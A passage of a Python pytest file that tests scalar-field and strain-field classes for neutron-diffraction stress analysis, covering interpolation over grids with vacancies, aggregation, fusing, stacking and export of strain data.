(vz=0 here) with two internal vacancies:\n o o o o\n o x o o\n o o x o\n o o o o\n the list of vx, vy, and vz have missing coordinates [1, 1, 0] and [2, 2, 0]:\n vx = [0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3, 3] # 14 points, two (interior) points missing\n vy = [0, 1, 2, 3, 0, 2, 3, 0, 1, 3, 0, 1, 2, 3] # 14 points, two (interior) points missing\n vz = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n When calculating the extents, we look separately to each list, and find out the number of unique coordinates\n unique vx = [0, 1, 2, 3] # there are three instances of vx==1 (same for vx==2), so they are captured\n unique vy = [0, 1, 2, 3] # same scenario than that of vx\n unique vz = [0]\n Extents for vx are:\n minimum = 0\n maximum = 3\n step =(maximum - minimum) / (unique_count -1) = (3 - 0) / (4 - 1) = 1\n When calculating the grid spanned by these extents, we have a grid from zero to 3 with four points,\n and same for vy and vz (let's generalize here of a cube, not a square). Thus, the interpolated grid\n has no vacancies.\n This situation will happen only when the number of vacancies is sufficiently small that all values\n of vx, vy, and vz are captured.\n \"\"\"\n field = field_cube_with_vacancies['volume scan']\n interpolated = field.interpolated_sample(method='linear', keep_nan=True, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n assert len(interpolated) == 6 ** 3\n field_cube_with_vacancies['assert checks'](interpolated)\n\n def test_interpolated_sample_surface_vacancies(self, field_surface_with_vacancies):\n r\"\"\"\n Test with an input regular grid spanning a square, where some interior points are missing.\n Test with an input regular grid spanning a cube, where some interior points are missing.\n `field` has 32 vacancies, thus a total of 6^3 - 32 points. Interpolated, on the other hand, has no\n vacancies. The reason lies in how the extents are calculated. See the example below for a square of\n side four on the [vx, vy] surface (vz=0 here) with two internal vacancies:\n o o o o\n o x o o\n o o x o\n o o o o\n the list of vx, vy, and vz have missing coordinates [1, 1, 0] and [2, 2, 0]:\n vx = [0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3, 3] # 14 points, two (interior) points missing\n vy = [0, 1, 2, 3, 0, 2, 3, 0, 1, 3, 0, 1, 2, 3] # 14 points, two (interior) points missing\n vz = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n When calculating the extents, we look separately to each list, and find out the number of unique coordinates\n unique vx = [0, 1, 2, 3] # there are three instances of vx==1 (same for vx==2), so they are captured\n unique vy = [0, 1, 2, 3] # same scenario than that of vx\n unique vz = [0]\n Extents for vx are:\n minimum = 0\n maximum = 3\n step =(maximum - minimum) / (unique_count -1) = (3 - 0) / (4 - 1) = 1\n When calculating the grid spanned by these extents, we have a grid from zero to 3 with four points,\n and same for vy. Thus, the interpolated grid has no vacancies.\n This situation will happen only when the number of vacancies is sufficiently small that all values\n of vx, and vy are captured.\n \"\"\"\n field = field_surface_with_vacancies['surface scan']\n interpolated = field.interpolated_sample(method='linear', keep_nan=True, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n assert len(interpolated) == 10 ** 2\n field_surface_with_vacancies['assert checks'](interpolated)\n\n def test_interpolated_sample_linear_vacancies(self, field_linear_with_vacancies):\n r\"\"\"\n Test with an input regular grid spanning a square, where some interior points are missing.\n \"\"\"\n field = field_linear_with_vacancies['linear scan']\n interpolated = field.interpolated_sample(method='linear', keep_nan=True, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n assert len(interpolated) == 90\n field_linear_with_vacancies['assert checks'](interpolated)\n\n def test_extract(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample1)\n target_indexes = range(0, 10, 2)\n selection = field.extract(target_indexes)\n assert selection.name == 'lattice'\n np.testing.assert_equal(selection.values, [1.000, 1.020, 1.040, 1.060, 1.080])\n np.testing.assert_equal(selection.errors, [0.000, 0.002, 0.004, 0.006, 0.008])\n np.testing.assert_equal(selection.x, [0.000, 2.000, 4.000, 6.000, 8.000])\n\n def test_aggregate(self):\n sample1 = ScalarFieldSample(*TestScalarFieldSample.sample1)\n sample2 = ScalarFieldSample(*TestScalarFieldSample.sample2)\n sample = sample1.aggregate(sample2)\n # index 9 of aggregate sample corresponds to the last point of sample1\n # index 10 of aggregate sample corresponds to the first point of sample2\n np.testing.assert_equal(sample.values[9: 11], [1.090, 1.071])\n np.testing.assert_equal(sample.errors[9: 11], [0.009, 0.008])\n np.testing.assert_equal(sample.x[9: 11], [9.000, 7.009])\n\n def test_intersection(self):\n sample1 = ScalarFieldSample(*TestScalarFieldSample.sample1)\n sample = sample1.intersection(ScalarFieldSample(*TestScalarFieldSample.sample2))\n assert len(sample) == 6 # three points from sample1 and three points from sample2\n assert sample.name == 'lattice'\n np.testing.assert_equal(sample.values, [1.070, 1.080, 1.090, 1.071, 1.081, 1.091])\n np.testing.assert_equal(sample.errors, [0.007, 0.008, 0.009, 0.008, 0.008, 0.008])\n np.testing.assert_equal(sample.x, [7.000, 8.000, 9.000, 7.009, 8.001, 9.005])\n\n def test_coalesce(self):\n sample1 = ScalarFieldSample(*TestScalarFieldSample.sample1)\n sample = sample1.aggregate(ScalarFieldSample(*TestScalarFieldSample.sample2))\n sample = sample.coalesce(criterion='min_error')\n assert len(sample) == 17 # discard the last point from sample1 and the first two points from sample2\n assert sample.name == 'lattice'\n # index 6 of aggregate sample corresponds to index 6 of sample1\n # index 11 of aggregate sample corresponds to index 3 of sample2\n np.testing.assert_equal(sample.values[6: 11], [1.060, 1.070, 1.080, 1.091, 1.10])\n np.testing.assert_equal(sample.errors[6: 11], [0.006, 0.007, 0.008, 0.008, 0.0])\n np.testing.assert_equal(sample.x[6: 11], [6.000, 7.000, 8.000, 9.005, 10.00])\n\n def test_fuse_with(self):\n sample1 = ScalarFieldSample(*TestScalarFieldSample.sample1)\n sample = sample1.fuse_with(ScalarFieldSample(*TestScalarFieldSample.sample2), criterion='min_error')\n assert len(sample) == 17 # discard the last point from sample1 and the first two points from sample2\n assert sample.name == 'lattice'\n # index 6 of aggregate sample corresponds to index 6 of sample1\n # index 11 of aggregate sample corresponds to index 3 of sample2\n np.testing.assert_equal(sample.values[6: 11], [1.060, 1.070, 1.080, 1.091, 1.10])\n np.testing.assert_equal(sample.errors[6: 11], [0.006, 0.007, 0.008, 0.008, 0.0])\n np.testing.assert_equal(sample.x[6: 11], [6.000, 7.000, 8.000, 9.005, 10.00])\n\n def test_add(self):\n sample1 = ScalarFieldSample(*TestScalarFieldSample.sample1)\n sample = sample1 + ScalarFieldSample(*TestScalarFieldSample.sample2)\n assert len(sample) == 17 # discard the last point from sample1 and the first two points from sample2\n assert sample.name == 'lattice'\n # index 6 of aggregate sample corresponds to index 6 of sample1\n # index 11 of aggregate sample corresponds to index 3 of sample2\n np.testing.assert_equal(sample.values[6: 11], [1.060, 1.070, 1.080, 1.091, 1.10])\n np.testing.assert_equal(sample.errors[6: 11], [0.006, 0.007, 0.008, 0.008, 0.0])\n np.testing.assert_equal(sample.x[6: 11], [6.000, 7.000, 8.000, 9.005, 10.00])\n\n def test_export(self):\n # Create a scalar field\n xyz = [list(range(0, 10)), list(range(10, 20)), list(range(20, 30))]\n xyz = np.vstack(np.meshgrid(*xyz)).reshape(3, -1) # shape = (3, 1000)\n signal, errors = np.arange(0, 1000, 1, dtype=float), np.zeros(1000, dtype=float)\n sample = ScalarFieldSample('strain', signal, errors, *xyz)\n\n # Test export to MDHistoWorkspace\n workspace = sample.export(form='MDHistoWorkspace', name='strain1')\n assert workspace.name() == 'strain1'\n\n # Test export to CSV file\n with pytest.raises(NotImplementedError):\n sample.export(form='CSV', file='/tmp/csv.txt')\n\n def test_to_md(self):\n field = ScalarFieldSample(*TestScalarFieldSample.sample3)\n assert field\n histo = field.to_md_histo_workspace('sample3', interpolate=False)\n assert histo\n assert histo.id() == 'MDHistoWorkspace'\n\n for i, (min_value, max_value) in enumerate(((0.0, 0.5), (1.0, 1.5), (2.0, 2.5))):\n dimension = histo.getDimension(i)\n assert dimension.getUnits() == 'mm'\n # adding half a bin each direction since values from mdhisto are boundaries and constructor uses centers\n assert dimension.getMinimum() == pytest.approx(min_value - 0.25)\n assert dimension.getMaximum() == pytest.approx(max_value + 0.25)\n assert dimension.getNBins() == 2\n\n field.sort() # converting to MDHistoWorkspace does sort the input scalar field\n np.testing.assert_equal(histo.getSignalArray().ravel(), field.values, err_msg='Signal')\n np.testing.assert_equal(histo.getErrorSquaredArray().ravel(), np.square(field.errors), err_msg='Errors')\n\n # clean up\n histo.delete()\n\n def test_extend_to_point_list(self, strain_object_1, strain_object_2):\n r\"\"\"\n strain_object_1 is a StrainField object made up of two non-overlapping StrainFieldSingle objects.\n strain_object_2 a StrainField object made up of two overlapping StrainFieldSingle objects\n \"\"\"\n nan = float('nan')\n #\n # Corner case: the extended point list is the same as the point list\n field = strain_object_1.field\n point_list_extended = deepcopy(field.point_list)\n field_extended = field.extend_to_point_list(point_list_extended)\n assert id(field_extended) == id(field) # we didn't do a thing\n #\n # Exception: the extended point list does not contain the point list of the field\n field = strain_object_1.field\n point_list_extended = strain_object_1.strains[0].field.point_list # just half of field.point_list\n with pytest.raises(ValueError) as exception_info:\n field.extend_to_point_list(point_list_extended)\n assert 'The point list is not contained in' in str(exception_info.value)\n #\n # Use strain_object_1\n point_list_extended = strain_object_1.point_list\n # Extend the field of the first single strain object\n field = strain_object_1.strains[0].field\n assert_allclose(field.values, to_microstrain([0.01, 0.02, 0.03, 0.04]), atol=1)\n field_extended = field.extend_to_point_list(point_list_extended)\n assert field_extended.point_list == point_list_extended\n assert_allclose(field_extended.values, to_microstrain([0.01, 0.02, 0.03, 0.04, nan, nan, nan, nan]), atol=1)\n # Extend the field of the second single strain object\n field = strain_object_1.strains[1].field\n assert_allclose(field.values, to_microstrain([0.05, 0.06, 0.07, 0.08]), atol=1)\n field_extended = field.extend_to_point_list(point_list_extended)\n assert field_extended.point_list == point_list_extended\n assert_allclose(field_extended.values, to_microstrain([nan, nan, nan, nan, 0.05, 0.06, 0.07, 0.08]), atol=1)\n #\n # Use strain_object_2\n point_list_extended = strain_object_2.point_list\n # Extend the field of the first single strain object\n field = strain_object_2.strains[0].field\n assert_allclose(field.values, to_microstrain([0.01, 0.02, 0.03, 0.04]), atol=1)\n field_extended = field.extend_to_point_list(point_list_extended)\n assert field_extended.point_list == point_list_extended\n assert_allclose(field_extended.values, to_microstrain([0.01, 0.02, 0.03, 0.04, nan, nan, nan, nan]), atol=1)\n # Extend the field of the second single strain object\n field = strain_object_2.strains[1].field\n assert_allclose(field.values, to_microstrain([0.045, 0.05, 0.06, 0.07, 0.08]), atol=1)\n field_extended = field.extend_to_point_list(point_list_extended)\n assert field_extended.point_list == point_list_extended\n assert_allclose(field_extended.values, to_microstrain([nan, nan, nan, 0.045, 0.05, 0.06, 0.07, 0.08]), atol=1)\n\n\n@pytest.fixture(scope='module')\ndef strain_field_samples(test_data_dir):\n r\"\"\"\n A number of StrainField objects from mock and real data\n \"\"\"\n sample_fields = {}\n #####\n # The first sample has 2 points in each direction\n #####\n subruns = np.arange(1, 9, dtype=int)\n\n # create the test peak collection - d-refernce is 1 to make checks easier\n # uncertainties are all zero\n peaks_array = np.zeros(subruns.size, dtype=get_parameter_dtype('gaussian', 'Linear'))\n peaks_array['PeakCentre'][:] = 180. # position of two-theta in degrees\n peaks_error = np.zeros(subruns.size, dtype=get_parameter_dtype('gaussian', 'Linear'))\n peak_collection = PeakCollection('dummy', 'gaussian', 'linear', wavelength=2.,\n d_reference=1., d_reference_error=0.)\n peak_collection.set_peak_fitting_values(subruns, peaks_array, parameter_errors=peaks_error,\n fit_costs=np.zeros(subruns.size, dtype=float))\n\n # create the test workspace - only sample logs are needed\n workspace = HidraWorkspace()\n workspace.set_sub_runs(subruns)\n # arbitray points in space\n workspace.set_sample_log('vx', subruns, np.arange(1, 9, dtype=int))\n workspace.set_sample_log('vy', subruns, np.arange(11, 19, dtype=int))\n workspace.set_sample_log('vz', subruns, np.arange(21, 29, dtype=int))\n\n # call the function\n strain = StrainFieldSingle(hidraworkspace=workspace, peak_collection=peak_collection)\n\n # test the result\n assert strain\n assert not strain.filenames\n assert len(strain) == subruns.size\n assert strain.peak_collections == [peak_collection]\n np.testing.assert_almost_equal(strain.values, 0.)\n np.testing.assert_equal(strain.errors, np.zeros(subruns.size, dtype=float))\n sample_fields['strain with two points per direction'] = strain\n\n #####\n # Create StrainField samples from two files and different peak tags\n #####\n # TODO: substitute/fix HB2B_1628.h5 with other data, because reported vx, vy, and vz are all 'nan'\n # filename_tags_pairs = [('HB2B_1320.h5', ('', 'peak0')), ('HB2B_1628.h5', ('peak0', 'peak1', 'peak2'))]\n filename_tags_pairs = [('HB2B_1320.h5', ('', 'peak0'))]\n for filename, tags in filename_tags_pairs:\n file_path = os.path.join(test_data_dir, filename)\n prefix = filename.split('.')[0] + '_'\n for tag in tags:\n sample_fields[prefix + tag] = StrainFieldSingle(filename=file_path, peak_tag=tag)\n assert sample_fields[prefix + tag].filenames == [filename]\n\n return sample_fields\n\n\nclass TestStrainFieldSingle:\n\n def test_overlapping_list(self):\n x = [0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.0] # x\n y = [1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5] # y\n z = [2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5] # z\n values = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0] # values\n errors = [1.0, 2.0, 1.0, 2.0, 1.0, 2.0, 1.0, 2.0] # errors\n peak_collection = PeakCollectionLite('strain', strain=values, strain_error=errors)\n with pytest.raises(RuntimeError) as exception_info:\n StrainField(peak_collection=peak_collection, point_list=PointList([x, y, z]))\n assert 'sample points are overlapping' in str(exception_info.value)\n\n def test_d_reference(self):\n x = np.array([0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5])\n y = np.array([1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5])\n z = np.array([2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5])\n point_list = PointList([x, y, z])\n values = np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0])\n errors = np.full(len(values), 1., dtype=float)\n strain = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values, strain_error=errors),\n point_list=point_list)\n\n D_REFERENCE = np.pi\n D_REFERENCE_ERROR = 42\n strain.set_d_reference((D_REFERENCE, D_REFERENCE_ERROR))\n\n d_reference = strain.get_d_reference()\n assert d_reference.point_list == point_list\n np.testing.assert_equal(d_reference.values, D_REFERENCE)\n np.testing.assert_equal(d_reference.errors, D_REFERENCE_ERROR)\n\n def test_set_d_reference(self, strain_single_object_0):\n r\"\"\"Test using a ScalarFieldSample\"\"\"\n d_spacing = strain_single_object_0.get_dspacing_center()\n expected = [1.00, 1.01, 1.02, 1.03, 1.04, 1.05, 1.06, 1.07]\n assert_allclose(d_spacing.values, expected, atol=0.001)\n # Set the reference spacings as the observed lattice plane spacings\n strain_single_object_0.set_d_reference(d_spacing)\n assert_allclose(strain_single_object_0.get_d_reference().values, expected)\n # There should be no strain, since the observed lattice plane spacings are the reference spacings\n assert_allclose(strain_single_object_0.values, np.zeros(8), atol=1.e-5)\n\n def test_get_peak_params(self, strain_field_samples):\n strain = strain_field_samples['strain with two points per direction'] # mock object\n\n # test that getting non-existant parameter works\n with pytest.raises(ValueError) as exception_info:\n strain.get_effective_peak_parameter('impossible')\n assert 'impossible' in str(exception_info.value)\n\n num_values = len(strain)\n for name in EFFECTIVE_PEAK_PARAMETERS:\n scalar_field = strain.get_effective_peak_parameter(name)\n assert scalar_field, f'Failed to get {name}'\n assert len(scalar_field) == num_values, f'{name} does not have correct length'\n\n\nclass Test_StrainField:\n\n class StrainFieldMock(StrainField):\n r\"\"\"Mocks a StrainField object overloading the initialization\"\"\"\n\n def __init__(self, *strains):\n for s in strains:\n assert isinstance(s, StrainFieldSingle)\n self._strains = strains\n\n def test_eq(self, strain_field_samples):\n strains_single_scan = copy.deepcopy(list(strain_field_samples.values()))\n # single-scan strains\n assert strains_single_scan[0] == strains_single_scan[0]\n assert (strains_single_scan[0] == strains_single_scan[1]) is False\n\n # multi-scan scans\n strain_multi = self.StrainFieldMock(*strains_single_scan)\n assert strain_multi == strain_multi\n assert (strain_multi == strains_single_scan[0]) is False\n strain_multi_2 = self.StrainFieldMock(*strains_single_scan[:-1]) # all except the last one\n assert (strain_multi == strain_multi_2) is False\n\n def test_stack_with(self, strain_stress_object_0, strain_stress_object_1):\n r\"\"\"\n Stack pair of strains.\n\n Description of strain_stress_object_0['strains']:\n RUN vx-coordinate\n NUMBER 0.0 1.0 2.0 3.0 4.0 5.0\n 1234 ****************************\n 1235 ****************************\n 1236 ****************************\n\n For simplicity, vy and vz values are all zero, so these are unidimensional scans\n\n From these four strains, we create strains in three dimensions:\n strain11 = strain_1234\n strain22 = strain_1235\n strain33 = strain_1237\n\n Description of strain_stress_object_1['strains']:\n We create four single strain instances, below is how they overlap over the vx's extent\n\n RUN vx-coordinate\n NUMBER 0.0 1.0 2.0 3.0 4.0 5.0 6.0 7.0 8.0 9.0\n 1234 **************************************\n 1235 ******************\n 1236 ***********************\n 1237 **************************************\n\n Runs 1235 and 1236 overlap in one point. 1235 is the run will the smallest error in strain.\n\n For simplicity, vy and vz values are all zero, so these are unidimensional scans\n\n From these four strains, we create strains in three dimensions:\n strain11 = strain_1234\n strain22 = strain_1235 + strain_1236\n strain33 = strain_1237\n \"\"\"\n strains = strain_stress_object_0['strains']\n\n def assert_stacking(direction_left, direction_right):\n r\"\"\"Stack strains along two directions\"\"\"\n left, right = strains[direction_left].stack_with(strains[direction_right])\n # evaluate the stacked left direction\n assert_allclose(left.point_list.vx, [0., 1., 2., 3., 4.])\n assert left._strains == strains[direction_left]._strains\n assert_equal(left._winners.scan_indexes, [0, 0, 0, 0, 0])\n assert_equal(left._winners.point_indexes, [0, 1, 2, 3, 4])\n # evaluate the stacked right direction\n assert_allclose(right.point_list.vx, [0., 1., 2., 3., 4.])\n assert right._strains == strains[direction_right]._strains\n assert_equal(right._winners.scan_indexes, [0, 0, 0, 0, 0])\n assert_equal(right._winners.point_indexes, [0, 1, 2, 3, 4])\n\n assert_stacking('11', '22')\n assert_stacking('11', '33')\n assert_stacking('22', '33')\n\n strains = strain_stress_object_1['strains']\n #\n # Stack 11 and 22 directions\n left, right = strains['11'].stack_with(strains['22'])\n # evaluate the stacked 11 direction\n assert_allclose(left.point_list.vx, [0., 1., 2., 3., 4., 5., 6., 7., 8.0])\n assert left._strains == strains['11']._strains\n assert_equal(left._winners.scan_indexes, [0, 0, 0, 0, 0, 0, 0, 0, -1])\n assert_equal(left._winners.point_indexes, [0, 1, 2, 3, 4, 5, 6, 7, -1])\n # evaluate the stacked 22 direction\n assert_allclose(right.point_list.vx, [0., 1., 2., 3., 4., 5., 6., 7., 8.0])\n assert right._strains == strains['22']._strains\n assert_equal(right._winners.scan_indexes, [-1, 0, 0, 0, 0, 1, 1, 1, 1])\n assert_equal(right._winners.point_indexes, [-1, 0, 1, 2, 3, 1, 2, 3, 4])\n #\n # Stack 11 and 33 directions\n left, right = strains['11'].stack_with(strains['33'])\n # evaluate the stacked 11 direction\n assert_allclose(left.point_list.vx, [0., 1., 2., 3., 4., 5., 6., 7., 8.0, 9.0])\n assert left._strains == strains['11']._strains\n assert_equal(left._winners.scan_indexes, [0, 0, 0, 0, 0, 0, 0, 0, -1, -1])\n assert_equal(left._winners.point_indexes, [0, 1, 2, 3, 4, 5, 6, 7, -1, -1])\n # evaluate the stacked 33 direction\n assert_allclose(right.point_list.vx, [0., 1., 2., 3., 4., 5., 6., 7., 8.0, 9.0])\n assert right._strains == strains['33']._strains\n assert_equal(right._winners.scan_indexes, [-1, -1, 0, 0, 0, 0, 0, 0, 0, 0])\n assert_equal(right._winners.point_indexes, [-1, -1, 0, 1, 2, 3, 4, 5, 6, 7])\n #\n # Stack 22 and 33 directions\n left, right = strains['22'].stack_with(strains['33'])\n # evaluate the stacked 22 direction\n assert_allclose(left.point_list.vx, [1., 2., 3., 4., 5., 6., 7., 8.0, 9.0])\n assert left._strains == strains['22']._strains\n assert_equal(left._winners.scan_indexes, [0, 0, 0, 0, 1, 1, 1, 1, -1])\n assert_equal(left._winners.point_indexes, [0, 1, 2, 3, 1, 2, 3, 4, -1])\n # evaluate the stacked 33 direction\n assert_allclose(right.point_list.vx, [1., 2., 3., 4., 5., 6., 7., 8.0, 9.0])\n assert right._strains == strains['33']._strains\n assert_equal(right._winners.scan_indexes, [-1, 0, 0, 0, 0, 0, 0, 0, 0])\n assert_equal(right._winners.point_indexes, [-1, 0, 1, 2, 3, 4, 5, 6, 7])\n\n def test_mul(self, strain_object_0, strain_object_2):\n r\"\"\"\n Strain_object_0 is a StrainField object made up of one StrainFieldSingle object\n vx: [0., 1., 2., 3., 4., 5., 6., 7.]\n strain_object_2 is a StrainField object made up of two overlapping StrainFieldSingle objects\n vx: [1., 2., 3., 4.] (vx of first StrainFieldSingle)\n vx: [4., 5., 6., 7., 8.] (vy of first StrainFieldSingle)\n The first StrainFieldSingle has smaller errors in the strain\n \"\"\"\n left, right = strain_object_0 * strain_object_2\n # evaluate the stacked first direction\n assert_allclose(left.point_list.vx, [0., 1., 2., 3., 4., 5., 6., 7., 8.0])\n assert left._strains == strain_object_0._strains\n assert_equal(left._winners.scan_indexes, [0, 0, 0, 0, 0, 0, 0, 0, -1])\n assert_equal(left._winners.point_indexes, [0, 1, 2, 3, 4, 5, 6, 7, -1])\n # evaluate the stacked second direction\n assert_allclose(right.point_list.vx, [0., 1., 2., 3., 4., 5., 6., 7., 8.0])\n assert right._strains == strain_object_2._strains\n assert_equal(right._winners.scan_indexes, [-1, 0, 0, 0, 0, 1, 1, 1, 1])\n assert_equal(right._winners.point_indexes, [-1, 0, 1, 2, 3, 1, 2, 3, 4])\n\n def test_rmul(self, strain_stress_object_1):\n strains = strain_stress_object_1['strains']\n strains12 = strains['11'] * strains['22']\n # Here comes the call to rmul by stacking a list of two strains against a third strain\n strains1, strains2, strains3 = strains12 * strains['33']\n # Compare against stacking the three strains at the same time\n strains123 = _StrainField.stack_strains(*strains.values())\n assert_allclose(strains1.values, strains123[0].values)\n assert_allclose(strains2.values, strains123[1].values)\n assert_allclose(strains3.values, strains123[2].values)\n\n\nclass TestStrainField:\n\n def test_peak_collection(self, strain_field_samples):\n strain = strain_field_samples['strain with two points per direction']\n assert isinstance(strain.peak_collections, list)\n assert len(strain.peak_collections) == 1\n assert isinstance(strain.peak_collections[0], PeakCollection)\n # TODO: test the RuntimeError when the strain is a composite\n\n def test_peak_collections(self, strain_field_samples):\n strain = strain_field_samples['strain with two points per direction']\n assert len(strain.peak_collections) == 1\n assert isinstance(strain.peak_collections[0], PeakCollection)\n\n def test_coordinates(self, strain_field_samples):\n strain = strain_field_samples['strain with two points per direction']\n coordinates = np.array([[1., 11., 21.], [2., 12., 22.], [3., 13., 23.], [4., 14., 24.],\n [5., 15., 25.], [6., 16., 26.], [7., 17., 27.], [8., 18., 28.]])\n assert np.allclose(strain.coordinates, coordinates)\n\n def test_fuse_with(self, strain_field_samples):\n strain1 = strain_field_samples['HB2B_1320_peak0']\n strain2 = strain_field_samples['strain with two points per direction']\n strain = strain1.fuse_with(strain2)\n assert strain.peak_collections == [strain1.peak_collections[0], strain2.peak_collections[0]]\n assert np.allclose(strain.coordinates, np.concatenate((strain1.coordinates, strain2.coordinates)))\n assert strain.field # should return something\n\n # fusing a scan with itself creates a new copy of the strain\n assert strain.peak_collections[0] == strain1.peak_collections[0]\n\n def test_add(self, strain_field_samples):\n strain1 = strain_field_samples['HB2B_1320_peak0']\n strain2 = strain_field_samples['strain with two points per direction']\n strain = strain1 + strain2\n assert strain.peak_collections == [strain1.peak_collections[0], strain2.peak_collections[0]]\n assert np.allclose(strain.coordinates, np.concatenate((strain1.coordinates, strain2.coordinates)))\n\n def test_create_strain_field_from_scalar_field_sample(self):\n values = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0] # values\n errors = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8] # errors\n x = [0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5] # x\n y = [1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5] # y\n z = [2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5] # z\n strain = StrainField(peak_collection=PeakCollectionLite('strain', strain=values, strain_error=errors),\n point_list=PointList([x, y, z]))\n assert np.allclose(strain.values, to_microstrain(values), atol=1)\n assert np.allclose(strain.x, x)\n\n def test_small_fuse(self):\n '''This test does a fuse with shared PointList that choses every other\n point from each contributing StrainField'''\n x = [0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5] # x\n y = [1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5] # y\n z = [2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5] # z\n point_list = PointList([x, y, z])\n\n values1 = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0] # values\n errors1 = [1.0, 2.0, 1.0, 2.0, 1.0, 2.0, 1.0, 2.0] # errors\n strain1 = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values1, strain_error=errors1),\n point_list=point_list)\n assert np.allclose(strain1.values, to_microstrain(values1))\n assert np.allclose(strain1.x, x)\n\n values2 = [9.0, 10.0, 11.0, 12.0, 13.0, 14.0, 15.0, 16.0] # values\n errors2 = [2.0, 1.0, 2.0, 1.0, 2.0, 1.0, 2.0, 1.0] # errors\n strain2 = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values2, strain_error=errors2),\n point_list=point_list)\n assert np.allclose(strain2.values, to_microstrain(values2))\n assert np.allclose(strain2.x, x)\n\n strain_fused = strain1.fuse_with(strain2)\n\n # confirm that the points were unchanged\n assert len(strain_fused) == len(strain1)\n assert strain_fused.point_list == point_list\n\n field = strain_fused.field\n # all uncertainties should be identical\n np.testing.assert_equal(field.errors, to_microstrain(np.ones(len(field))))\n # every other point comes from a single field\n np.testing.assert_equal(field.values, to_microstrain([1., 10., 3., 12., 5., 14., 7., 16.]))\n\n def test_small_stack(self):\n x = [0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5] # x\n y = [1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5] # y\n z = [2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5] # z\n point_list1 = PointList([x, y, z])\n\n # changes a single x-value in the last 4 points\n x = [0.0, 0.5, 0.0, 0.5, 1.0, 1.5, 1.0, 1.5] # x\n y = [1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5] # y\n z = [2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5] # z\n point_list2 = PointList([x, y, z])\n\n values = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0] # values\n errors = np.full(len(values), 1., dtype=float)\n\n strain1 = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values, strain_error=errors),\n point_list=point_list1)\n\n strain2 = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values, strain_error=errors),\n point_list=point_list2)\n\n # simple case of all points are identical - union\n strain_stack = strain1.stack_with(strain1, mode='union')\n assert len(strain_stack) == 2\n for stacked, orig in zip(strain_stack, [strain1, strain1]):\n assert len(stacked) == len(orig)\n assert stacked.point_list == orig.point_list\n np.testing.assert_equal(stacked.values, orig.values)\n\n # case when there are 4 points not commont\n strain_stack = strain1.stack_with(strain2, mode='union')\n assert len(strain_stack) == 2\n assert len(strain_stack[0]) == len(strain_stack[1])\n for stacked, orig in zip(strain_stack, [strain1, strain2]):\n assert stacked.peak_collections[0] == orig.peak_collections[0]\n assert stacked.point_list != orig.point_list\n assert len(stacked.point_list) == 12\n field = stacked.field\n assert field\n assert len(field) == 12\n # TODO should confirm 4 nans in each\n assert len(stacked.point_list) == 12 # 4 points in common\n\n # simple case of all points are identical - intersection\n ''' THIS ISN'T CURRENTLY SUPPORTED\n strain_stack = strain1.stack_with(strain1, mode='intersection')\n assert len(strain_stack) == 2\n for stacked, orig in zip(strain_stack, [strain1, strain1]):\n assert len(stacked) == len(orig)\n assert stacked.point_list == orig.point_list\n '''\n\n def test_create_strain_field_from_file_no_peaks(self, test_data_dir):\n # this project file doesn't have peaks in it\n file_path = os.path.join(test_data_dir, 'HB2B_1060_first3_subruns.h5')\n try:\n _ = StrainField(file_path) # noqa F841\n assert False, 'Should not be able to read ' + file_path\n except IOError:\n pass # this is what should happen\n\n def test_from_file(self, test_data_dir):\n file_path = os.path.join(test_data_dir, 'HB2B_1320.h5')\n strain = StrainField(filename=file_path, peak_tag='peak0')\n\n assert strain\n assert strain.field\n assert strain.get_effective_peak_parameter('Center')\n\n def test_fuse_strains(self, strain_field_samples):\n # TODO HB2B_1320_peak0 and HB2B_1320_ are the same scan. We need two different scans\n strain1 = strain_field_samples['HB2B_1320_peak0']\n strain2 = strain_field_samples['HB2B_1320_']\n strain3 = strain_field_samples['strain with two points per direction']\n # Use fuse_strains().\n strain_fused = StrainField.fuse_strains(strain1, strain2, strain3, resolution=DEFAULT_POINT_RESOLUTION,\n criterion='min_error')\n # the sum should give the same, since we passed default resolution and criterion options\n strain_sum = strain1 + strain2 + strain3\n for strain in (strain_fused, strain_sum):\n assert len(strain) == 312 + 8 # strain1 and strain2 give strain1 because they contain the same data\n assert strain.peak_collections == [s.peak_collections[0] for s in (strain1, strain2, strain3)]\n values = np.concatenate((strain1.values, strain3.values)) # no strain2 because it's the same as strain1\n 